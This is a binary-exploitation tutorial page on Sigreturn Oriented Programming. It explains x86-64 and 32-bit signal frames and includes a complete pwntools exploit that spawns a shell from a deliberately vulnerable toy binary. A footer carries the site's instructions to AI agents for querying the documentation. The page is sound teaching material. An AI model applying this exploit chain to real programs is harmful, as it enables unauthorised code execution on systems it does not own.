> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/10.-srop.md).

# 0x0E — Sigreturn Oriented Programming (SROP)

## Overview

**SROP** is an advanced ROP technique that abuses the **signal return mechanism** of the Linux kernel to set all CPU registers at once to arbitrary values — effectively giving you a "super gadget" that controls every register simultaneously.

***

## Background: How Signal Handling Works

When the kernel delivers a signal to a process, it:

1. **Saves** the entire CPU state (all registers) onto the user stack as a `sigcontext` frame
2. Calls the signal handler
3. When the handler returns, calls the `sigreturn` syscall
4. **Restores** all registers from the saved frame

The key insight: the kernel **trusts the stack entirely** when restoring the signal frame. If an attacker controls the stack, they control what values are restored into all registers.

***

## The sigcontext / ucontext Structure (x86-64)

The signal frame saved on the stack includes:

```
rt_sigframe {
    uc_mcontext:
        r8, r9, r10, r11, r12, r13, r14, r15
        rdi, rsi, rbp, rbx, rdx, rax, rcx, rsp
        rip           ← instruction pointer
        eflags
        cs, gs, fs
        ...
        sigmask
}
```

By crafting a fake signal frame on the stack and then executing `sigreturn` (syscall 15 on x86-64), the kernel will pop our fake frame and set **all registers** to our chosen values, then jump to `rip`.

***

## When to Use SROP

SROP shines when:

* Very few gadgets are available (e.g., only `syscall` and a way to set `rax=15`)
* You need to set many registers at once
* Working with a statically linked binary or a tiny binary

***

## Required Gadgets (minimal)

```
1. syscall ; ret         (to execute sigreturn)
2. pop rax ; ret         (to set rax = 15 for sigreturn)
   OR: the binary calls sigreturn naturally
```

That's all you need — SROP replaces a long ROP chain.

***

## pwntools SigreturnFrame

pwntools has built-in support for building SROP frames:

```python
from pwn import *

context.arch = 'amd64'   # or 'i386'

frame = SigreturnFrame()
frame.rax = constants.SYS_execve   # = 59
frame.rdi = binsh_addr             # pointer to "/bin/sh"
frame.rsi = 0                      # NULL argv
frame.rdx = 0                      # NULL envp
frame.rip = syscall_addr           # where to jump after restore
frame.rsp = 0xdeadbeef             # optional: stack pointer
```

The frame is then appended to your payload.

***

## Full Example

### Vulnerable Program (`tiny.c`)

```c
#include <unistd.h>

// Very minimal binary — only read() and syscall gadget
void _start() {
    char buf[256];
    read(0, buf, 512);
}
```

Compile minimal:

```bash
gcc -o tiny tiny.c -static -nostdlib -fno-stack-protector -no-pie
```

### Finding Gadgets

```bash
ROPgadget --binary ./tiny | grep "syscall"
ROPgadget --binary ./tiny | grep "pop rax"
strings -a -t x ./tiny | grep "/bin/sh"
```

If `/bin/sh` is absent, write it to BSS first (see Ret2Syscall README).

### Exploit Script

```python
from pwn import *

elf = ELF('./tiny')
p   = process('./tiny')

context.binary = elf

# Addresses (adjust per binary)
syscall_addr = 0x401014   # syscall ; ret
pop_rax      = 0x401019   # pop rax ; ret
bss_addr     = elf.bss()  # writable area for "/bin/sh"

offset = 40   # padding to reach return address

### Stage 1: Write "/bin/sh" to BSS using read syscall ###
# Build SROP frame for: read(0, bss, 8)
frame1 = SigreturnFrame()
frame1.rax = constants.SYS_read
frame1.rdi = 0                    # stdin
frame1.rsi = bss_addr             # destination
frame1.rdx = 8                    # 8 bytes = "/bin/sh\0"
frame1.rip = syscall_addr         # execute the syscall
frame1.rsp = bss_addr + 8 + 0x10  # optional: point stack somewhere safe

payload1  = b'A' * offset
payload1 += p64(pop_rax)          # set rax = 15 (sigreturn)
payload1 += p64(15)
payload1 += p64(syscall_addr)     # call sigreturn → kernel loads frame1
payload1 += bytes(frame1)

p.send(payload1)
p.send(b'/bin/sh\x00')   # written to bss_addr by the read() call

### Stage 2: execve("/bin/sh", NULL, NULL) ###
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = bss_addr
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_addr

payload2  = b'A' * offset
payload2 += p64(pop_rax)
payload2 += p64(15)
payload2 += p64(syscall_addr)
payload2 += bytes(frame2)

p.send(payload2)
p.interactive()
```

***

## SROP on 32-bit (x86)

On 32-bit, `sigreturn` is syscall number `119` (`0x77`). The frame structure is different but pwntools handles it:

```python
context.arch = 'i386'

frame = SigreturnFrame()
frame.eax = 11           # SYS_execve on x86
frame.ebx = binsh_addr   # first arg
frame.ecx = 0
frame.edx = 0
frame.eip = int80_addr   # int 0x80 gadget
```

***

## SROP vs Regular ROP

| Feature          | Regular ROP             | SROP                    |
| ---------------- | ----------------------- | ----------------------- |
| Gadgets needed   | Many (one per register) | Just `syscall` + rax=15 |
| Register control | One at a time           | All at once             |
| Complexity       | High (gadget hunting)   | Lower                   |
| Dependency       | Gadget availability     | Just sigreturn support  |

***

## Key Takeaways

* SROP abuses the **signal return mechanism** to set all registers simultaneously
* The kernel restores registers from a **user-controlled stack frame**
* You only need: `syscall` gadget + ability to set `rax = 15`
* pwntools `SigreturnFrame()` makes crafting frames easy
* Especially useful for **minimal binaries** with few gadgets

***

## Verification

Check the signal frame size (should be 248 bytes on x86-64):

```python
from pwn import *
context.arch = 'amd64'
frame = SigreturnFrame()
print(len(bytes(frame)))   # 248
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://alham-rizvi.gitbook.io/alhamrizvi/binary-exp/10.-srop.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
